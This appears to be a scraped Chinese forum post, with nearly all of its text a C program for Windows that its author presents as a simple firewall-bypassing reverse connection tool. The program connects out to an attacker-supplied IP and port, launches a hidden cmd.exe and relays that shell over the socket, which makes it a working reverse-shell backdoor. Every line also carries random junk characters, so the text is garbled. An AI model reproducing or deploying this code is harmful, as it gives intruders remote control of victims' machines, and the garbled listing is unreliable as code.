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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 I!x.bp~V!  
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/* ============================== *a9cBl'_  
Rebound port in Windows NT *"%TAe7?~+  
By wind,2006/7 ]\, ?u /  
===============================*/ =i/Df ?  
#include {)YbksrJ{  
#include @rl5k(  
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#pragma comment(lib,"wsock32.lib") 7! O"k#  
Z,&O8Jelf  
void OutputShell(); TI>5g(:3\  
SOCKET sClient; r\NqY.U&  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; :F(4&e=w  
|v&)O)Jg  
void main(int argc,char **argv) Xs03..S  
{ VB |?S|<  
WSADATA stWsaData; %hB-$nE  
int nRet; l.Q  
SOCKADDR_IN stSaiClient,stSaiServer; 3efOgP=L  
ah>c)1DA*H  
if(argc != 3) B#K gU&Loo  
{ v{u3[c   
printf("Useage:\n\rRebound DestIP DestPort\n"); Z8v\>@?5R  
return; c&['T+X  
} ]'.qRTz'\t  
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WSAStartup(MAKEWORD(2,2),&stWsaData); }:m#}s  
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); ,=/9Ld2w9  
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stSaiClient.sin_family = AF_INET; 0.MB;gm:  
stSaiClient.sin_port = htons(0); ^<;W+dWdU  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); AHf 9H?  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 7e_4sxg'(3  
{ ~ua(Qm  
printf("Bind Socket Failed!\n"); -[mmT'sS  
return; JrP`u4f_  
} )g pN 5TDd  
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stSaiServer.sin_family = AF_INET; LjKxznn o  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); d$ouH%^cGu  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); &RR;'wLoQT  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) @iz Onc:  
{ ,NO[Piok  
printf("Connect Error!"); ^ u$gO3D  
return; 35h|?eN_m!  
} `?VK(<w0q  
OutputShell(); z)Rkd0/X  
} %bcf% 7  
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void OutputShell() pa-*&p  
{ K1 f1 T  
char szBuff[1024]; R iZ)FW  
SECURITY_ATTRIBUTES stSecurityAttributes; x{H+fq,M  
OSVERSIONINFO stOsversionInfo; n:AZ(f   
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; Yy~x`P'g!  
STARTUPINFO stStartupInfo; e$L C  
char *szShell; 9Po>laT 5  
PROCESS_INFORMATION stProcessInformation; .Xlo-gHk  
unsigned long lBytesRead; KOixFn1  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); p$,7qGST  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); #  X (2  
stSecurityAttributes.lpSecurityDescriptor = 0; 1P)K@j  
stSecurityAttributes.bInheritHandle = TRUE; 175e:\Tw  
%1&X+s3  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); c |0p'EQ  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); (Mv~0ShakO  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); 5BrN uR$  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ju2H 0AQ  
stStartupInfo.wShowWindow = SW_HIDE; `E~"T0RX  
stStartupInfo.hStdInput = hReadPipe; Y3@+aA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; r] /Ej!|  
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GetVersionEx(&stOsversionInfo); 0f4 y"9m  
oc?|"  
switch(stOsversionInfo.dwPlatformId) %_ew{ff|  
{ 73qE!(  
case 1: QL0q/S1*  
szShell = "command.com"; 'a(y]QG  
break; ximVh}'a  
default: m2SJ\1 J=  
szShell = "cmd.exe"; A&}]:4@{  
break; tY$@,>2v  
} }$)~HmZw  
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); (-<hx~  
'`8 ^P  
send(sClient,szMsg,77,0); o0Teect=  
while(1) ru:"c^W:[  
{ G[}v?RLI  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); mJ%^`mrI  
if(lBytesRead) <*vR_?!  
{ F`KXG$  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); KKwM\   
send(sClient,szBuff,lBytesRead,0); VjM/'V5  
} JCH9~n.  
else UV(`.  
{ NG3?OAQTw  
lBytesRead=recv(sClient,szBuff,1024,0); h<L_ =)lH  
if(lBytesRead<=0) break; a>C;HO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); :@(1~Hm  
} 6TRLHL~B  
} 2UQF:R?LQ  
Zx8$M5  
return; OX,em Ti  
}
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